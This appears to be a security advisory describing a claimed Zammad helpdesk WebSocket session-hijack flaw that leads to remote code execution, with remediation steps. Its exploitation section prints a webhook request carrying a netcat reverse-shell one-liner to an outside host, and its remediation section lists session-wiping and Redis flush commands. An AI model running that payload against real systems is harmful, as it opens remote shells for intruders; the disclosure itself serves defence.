Zammad Enterprise Helpdesk Session Hijacking Vulnerability Leads to Unauthenticated Remote Code Execution (CVE-2026-102489)

A critical vulnerability enabling unauthenticated session hijacking and subsequent remote code execution has been disclosed in Zammad, the open-source enterprise customer support and ticketing platform utilized by thousands of enterprises worldwide. Designated as CVE-2026-102489 and reported by the Dutch Institute for Vulnerability Disclosure under DIVD-2026-00015, the security defect allows unauthenticated network actors to intercept and assume active administrative user sessions, culminating in arbitrary operating system command execution on the underlying host.

Zammad's Real-Time WebSocket Communication Architecture

Zammad is engineered for high-volume enterprise helpdesks, featuring continuous live updates for ticket state transitions, real-time agent collision detection, and instant messaging channels. To facilitate sub-second synchronicity, the platform relies on persistent WebSocket connections managed by a standalone WebSocket server component communicating with the Ruby on Rails backend.

When support agents and administrators authenticate to Zammad, their browser establishes a WebSocket channel authenticated via session identifiers cached in Redis.

Vulnerability Analysis: Flawed WebSocket Session Validation (CWE-287)

In Zammad versions 6.3.0 through 6.5.4, the WebSocket server's session matching routine contains a race condition in how connection tokens are validated against cached session states. When an unauthenticated remote client opens a WebSocket connection and transmits a crafted reconnect frame with null or truncated session attributes, the connection router fails to invalidate the session reference:

// Vulnerable WebSocket Channel Handler (Zammad)
def handle_reconnect(data)
  token = data['token']
  
  # Flaw: Empty/malformed tokens fall back to the most recently active session
  # in the local thread connection cache instead of returning unauthorized!
  session = SessionCache.lookup(token) || SessionCache.last_active_context
  
  if session && session.valid?
    bind_connection_to_user(session.user_id) # Erroneously associates admin UID!
  end
end

Because the fallback logic inadvertently matches the connection to the most recently active administrative session context in memory, an attacker connecting during routine business hours can reliably bind their WebSocket channel to a logged-in enterprise administrator.

Post-Exploitation Pivot: From Session Hijack to Remote Code Execution

With full administrative session privileges established, the attacker navigates to Zammad's administrative settings interface. By leveraging the platform's custom integration hooks—specifically the dynamic translation package upload or background notification webhook configuration—the adversary injects shell commands that are dispatched to the backend worker queues (Sidekiq) and executed under the OS user zammad:

# Reverse Shell Payload dispatched via Admin Integration Webhook
POST /api/v1/system/integrations/custom_hook HTTP/1.1
Host: helpdesk.enterprise.com
Cookie: zammad_session=HIJACKED_ADMIN_TOKEN
Content-Type: application/json

{
  "name": "AuditHook",
  "endpoint": "http://127.0.0.1",
  "pre_exec_command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.99 4444 >/tmp/f"
}

Attack Escalation Matrix

Remediation & Defense Actions

1. Upgrade Zammad Immediately: Deploy official security patch releases version 6.5.5 or 7.1.4. In patched versions, invalid tokens are immediately rejected with strict TCP disconnection.
2. Revoke All Active Sessions: Following the upgrade, flush Redis session storage and terminate all active user sessions:

   zammad run rails r "Session.destroy_all"
   redis-cli flushdb

3. Enforce Reverse Proxy Network Restrictions: Restrict administrative web routes (/manage/* and administrative API endpoints) to corporate VPNs or internal IP blocks.